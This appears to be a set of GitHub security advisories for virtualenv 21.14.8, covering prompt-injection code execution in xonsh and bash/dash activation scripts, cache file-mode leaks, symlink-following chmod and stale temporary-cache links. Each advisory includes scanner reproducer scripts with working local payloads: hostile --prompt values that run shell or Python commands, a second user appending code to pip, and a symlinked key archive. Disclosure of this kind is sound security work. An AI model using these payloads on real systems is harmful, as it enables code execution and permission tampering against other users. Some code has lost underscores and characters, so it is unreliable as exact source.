Where
-Infinity
0
Severity
7.1
Code Injection
AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSHENCODING. With GBK or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activatethis.py: a hostile prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.runpath controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. PR #3432 shows the xonsh source-decoding chain and changes quote() to ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that ast.literaleval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original activatethis.py reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSHENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSHENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree

work = Path("/tmp/activate-this-gbk") rmtree(work, ignoreerrors=True) work.mkdir() envdir = work / "venv" marker = work / "MARKER"

set up: a zhCN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/installgbklocale.py", work / "locales"], check=True) utf8session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbksession = {"PATH": os.environ["PATH"], "LANG": "zhCN.GBK", "LOCPATH": str(work / "locales")}

attacker: text that a tool relays as --prompt the payload's " makes repr() delimit with ' and write the prompt's own ' as \' 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'import("os").system("touch {marker}")' hostileprompt = "中" + "';" + payload + "#"

user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostileprompt, envdir], check=True) activatethis = (envdir / "bin" / "activatethis.py").readbytes() promptline = next(line for line in activatethis.splitlines() if line.startswith(b'os.environ["VIRTUALENVPROMPT"]')) print(f"activatethis.py read as UTF-8: {promptline.decode('utf-8')}") print(f"activatethis.py read as GBK: {promptline.decode('gbk')}") assert not marker.exists(), "payload ran at creation time"

trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activatewithexecopen.py", envdir] control = subprocess.run(activate, env=utf8session, stdout=subprocess.PIPE, encoding="utf-8", check=True) raninutf8session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {raninutf8session}")

observed = subprocess.run(activate, env=gbksession, stdout=subprocess.PIPE, encoding="gbk", check=True) raningbksession = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {raningbksession}")

check: the prompt is data and must not run in either session print("BUG" if raningbksession and not raninutf8session else "OK")

repro.d/activatewithexecopen.py

text #!/usr/bin/env python3 usage: activatewithexecopen.py ENVDIR A program that activates a virtualenv the way activatethis.py's docstring said to until virtualenv 20.26.2. import locale import os import sys

thisfile = os.path.join(sys.argv[1], "bin", "activatethis.py") exec(open(thisfile).read(), {"file": thisfile})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUALENVPROMPT is {os.environ['VIRTUALENVPROMPT']}")

repro.d/installgbklocale.py

text #!/usr/bin/env python3 usage: installgbklocale.py LOCPATH Does what locale-gen zhCN.GBK would; the image has glibc's localedef but no charmap or locale sources. import os import subprocess import sys

locpath = sys.argv[1] os.makedirs(locpath)

charmap = ["<codesetname> GBK", "<commentchar> %", "<escapechar> /", "<mbcurmin> 1", "<mbcurmax> 2", "CHARMAP"] charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)] for lead in range(0x81, 0xFF): for trail in range(0x40, 0xFF): try: char = bytes([lead, trail]).decode("gbk") except UnicodeDecodeError: continue charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}") charmap.append("END CHARMAP") with open(f"{locpath}/GBK.charmap", "w") as charmapfile: charmapfile.write("\n".join(charmap) + "\n")

-c: the source has no LCTIME, LCMONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below source = "/tmp/repro.d/zhCNminimal.locale" subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zhCN.GBK"], captureoutput=True)

gbksession = {"PATH": os.environ["PATH"], "LANG": "zhCN.GBK", "LOCPATH": locpath} codeset = subprocess.run(["locale", "charmap"], env=gbksession, captureoutput=True, text=True, check=True) if codeset.stdout.strip() != "GBK" or codeset.stderr: sys.exit(f"zhCN.GBK locale not usable: {codeset}")

repro.d/zhCNminimal.locale

text commentchar % escapechar / % Stand-in for glibc's locales/zhCN: ASCII character classes only. What matters is the codeset name, GBK, which % comes from the charmap given to localedef with -f. LCCTYPE upper <U0041>..<U005A> lower <U0061>..<U007A> digit <U0030>..<U0039> space <U0009>..<U000D>;<U0020> cntrl <U0000>..<U001F>;<U007F> punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E> xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066> blank <U0009>;<U0020> END LCCTYPE LCCOLLATE orderstart forward UNDEFINED orderend END LCCOLLATE

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases. Recreate environments with virtualenv 21.14.9 or later.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside its activation-state changes. Both branches must retain this quoting rule when integrated.

1 / 2
Source: GitHub
First published (updated )
Severity
4.4
AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/init.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/init.py U->>E: run bin/pip --version E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path

sys.stdout.reconfigure(linebuffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHERUSER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/otheruserappendstopip.py").readtext()

def runasowner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extragroups=[], umask=umask, env=environ, cwd=home, check=True)

def mode(path): return stat.filemode(os.stat(path).stmode)

work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignoreerrors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here

writablebyothers, appendedlineranas = {}, {} the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umaskofearlierrun in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER)

# owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it runasowner([VIRTUALENV, str(home / "earlier-env")], home, umask=umaskofearlierrun) # owner, today env = projects / "env" runasowner([VIRTUALENV, str(env)], home, umask=0o022)

(cachedpip,) = glob.glob(f"{home}/.cache/virtualenv/wheel//image/1/CopyPipInstall/pip-/pip/init.py") (seededpip,) = glob.glob(f"{env}/lib/python/site-packages/pip/init.py") envfiles = [path for path in env.rglob("") if path.isfile() and not path.issymlink()] writablebyothers[case] = sum(1 for path in envfiles if path.stat().stmode & stat.SIWOTH) print(f"{case} earlier run under umask {umaskofearlierrun:03o}, env created under umask 022") print(f"{case} cache pip/init.py {mode(cachedpip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}") print(f"{case} env pip/init.py {mode(seededpip)}") print(f"{case} env files writable by others: {writablebyothers[case]} of {len(envfiles)}")

# attack: another local user appends a line to the owner's seeded pip proof = proofs / case subprocess.run( ["python3", "-", str(env), str(proof)], input=ATTACK, text=True, user=OTHERUSER, group=OTHERUSER, extragroups=[], env={"PATH": os.environ["PATH"]}, cwd="/", check=True, )

# the owner uses the environment runasowner([str(env / "bin" / "pip"), "--version"], home, umask=0o022) appendedlineranas[case] = proof.readtext() if proof.exists() else None print(f"{case} other user's line ran as uid: {appendedlineranas[case]}")

check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier controlisprivate = writablebyothers["CONTROL"] == 0 and appendedlineranas["CONTROL"] is None observedrunsasowner = writablebyothers["OBSERVED"] > 0 and appendedlineranas["OBSERVED"] == str(OWNER) print("BUG" if controlisprivate and observedrunsasowner else "OK")

repro.d/otheruserappendstopip.py

text import glob import sys

environment, proof = sys.argv[1:] (pipinit,) = glob.glob(f"{environment}/lib/python/site-packages/pip/init.py") addedline = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try: with open(pipinit, "a") as pipsource: pipsource.write(addedline) print(f"other user: appended a line to {pipinit}") except PermissionError as error: print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

1 / 3
Source: GitHub
First published (updated )
Severity
7.1
OS Command Injection
AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

Affected area

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in bash prompt assembly.

Mechanism

bin/activate copies the prompt into PS1. A shell expands PS1 again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing activate directly, a child dash inheriting an exported PS1 from bash, and bash running at compatibility level 4.2 or lower. A value such as x$(touch MARKER)y then runs touch on prompt display. Creating the environment does not run the payload.

Reproduction and evidence

The scanner's child-shell reproducer creates an environment with --prompt 'x$(touch MARKER)y', sources bin/activate in interactive bash, and starts interactive sh (dash). Its control leaves PS1 unexported: neither shell creates MARKER. With PS1 exported, bash displays the prompt without executing the value, but the child dash creates MARKER; the reproducer ends in BUG. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported PS1.

The scanner linked this finding to #3326 and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in #3418 keeps a variable reference in PS1, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.

Introduced

The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited PS1 to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8.

Attack sequence

mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv participant B as Interactive bash participant D as Child dash A->>V: --prompt x$(touch MARKER)y V->>B: generated bin/activate B->>B: assign escaped prompt to PS1 alt PS1 is not exported B->>D: start sh with its own PS1 D-->>B: marker absent else PS1 is exported B->>D: start sh with inherited PS1 D->>D: expand $(touch MARKER) on prompt draw D-->>B: marker created end

Reproducer files

The following files are from the scanner report for ANT-2026-1MOI2X3T. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path

work = Path("/tmp/repro-inherited-ps1") shutil.rmtree(work, ignoreerrors=True) work.mkdir() marker = work / "MARKER" print("sh is", Path("/bin/sh").resolve())

attacker: only the text a tool such as tox or hatch relays as --prompt hostileprompt = f"x$(touch {marker})y"

set up: the environment, made with the virtualenv command subprocess.run( ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash", "--prompt", hostileprompt, str(work / "env")], check=True, stdout=subprocess.DEVNULL, ) assert not marker.exists(), "creating the environment must not run the prompt"

user: in an interactive bash, source bin/activate, then start sh. -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns session = Path("/tmp/repro.d/usersession.sh").readtext() interactivebash = ["bash", "--norc", "--noprofile", "-i"]

control: PS1 set in bash but not exported, so sh does not inherit it control = subprocess.run(interactivebash, input="PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(control.stderr) ranincontrol = marker.exists() print("CONTROL PS1 not exported: marker created:", ranincontrol)

attack: the same session with the one difference that PS1 is exported attack = subprocess.run(interactivebash, input="export PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(attack.stderr) raninattack = marker.exists() print("OBSERVED PS1 exported: marker created:", raninattack)

check: the prompt text must be drawn, never run, by every shell that draws it print("BUG" if raninattack and not ranincontrol else "OK")

repro.d/usersession.sh

text . /tmp/repro-inherited-ps1/env/bin/activate sh -i </dev/null

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. On older releases, disable the environment prompt with VIRTUALENVDISABLEPROMPT=1. Recreate environments with virtualenv 21.14.9 or later.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided review identified the remaining activation path.

1 / 3
Source: GitHub
First published (updated )
Severity
4.5
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in safedelete().

Mechanism

safedelete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safedelete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY)

the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable makearchive = [sys.executable, "/tmp/repro.d/makeprojectarchive.py"] subprocess.run([makearchive, work / "read-only.tar", "555"], check=True) subprocess.run([makearchive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

from here on an ordinary user: root's unlink never fails, so safedelete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022)

def unpacknexttokeyandrunvirtualenv(label, homename, archivename, options): home = work / homename archive = work / archivename key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.writetext("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

modebefore = stat.SIMODE(key.stat().stmode) command = ["virtualenv", "--no-periodic-update", "-q", options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) modeafter = stat.SIMODE(key.stat().stmode)

print(f"{label} {archivename}, {' '.join(command)}: exit {result.returncode} {result.stdout.strip()}") print(f"{label} {key} mode {modebefore:#o} -> {modeafter:#o}") return modebefore, modeafter

control = unpacknexttokeyandrunvirtualenv("CONTROL ", "home-control", "writable.tar") default = unpacknexttokeyandrunvirtualenv("OBSERVED", "home-default", "read-only.tar") clear = unpacknexttokeyandrunvirtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

check: the key lives outside the destination; virtualenv has no business changing its mode print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/makeprojectarchive.py

text #!/usr/bin/env python3 import sys import tarfile

archivepath = sys.argv[1] pythonfoldermode = int(sys.argv[2], 8)

with tarfile.open(archivepath, "w") as archive: pythonfolder = tarfile.TarInfo("proj/venv/bin/python") pythonfolder.type = tarfile.DIRTYPE pythonfolder.mode = pythonfoldermode # without the write bit, unlinking an entry inside it fails with EACCES archive.addfile(pythonfolder)

link = tarfile.TarInfo("proj/venv/bin/python/entry") link.type = tarfile.SYMTYPE link.linkname = "../../../../keys/deploy.pem" # the victim's key, beside the unpacked proj/ archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

1 / 4
Source: GitHub
First published (updated )
Severity
4.4
AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlinkappdata can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.

Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.

Affected area

Integrity of app-data references after temporary cache cleanup.

Attacker-controlled input

Symlink seeding must be enabled through VIRTUALENVSYMLINKAPPDATA or symlinkappdata in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.

Affected code

The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.

Mechanism

When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENVSYMLINKAPPDATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.

Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENVSYMLINKAPPDATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/init.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.

Attack sequence

mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENVSYMLINKAPPDATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path

owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one otheruseruid = 4242 project = Path("/srv/project") otheruserfiles = Path("/var/tmp/other-user")

set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignoreerrors=True) shutil.rmtree(otheruserfiles, ignoreerrors=True) project.mkdir(mode=0o755) os.chown(project, owner.pwuid, owner.pwgid) shutil.copytree("/tmp/repro.d", otheruserfiles) subprocess.run(["chown", "-R", f"{otheruseruid}:{otheruseruid}", otheruserfiles], check=True)

asowner = {"user": owner.pwuid, "group": owner.pwgid, "extragroups": [], "cwd": project} asotheruser = {"user": otheruseruid, "group": otheruseruid, "extragroups": [], "cwd": "/"} ownerenv = {"HOME": owner.pwdir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([virtualenv, "--symlink-app-data", "control"], env=ownerenv, check=True, asowner) controlpip = next(project.glob("control/lib/python/site-packages/pip")) print(f"CONTROL --symlink-app-data: {controlpip} is a symlink: {controlpip.issymlink()}")

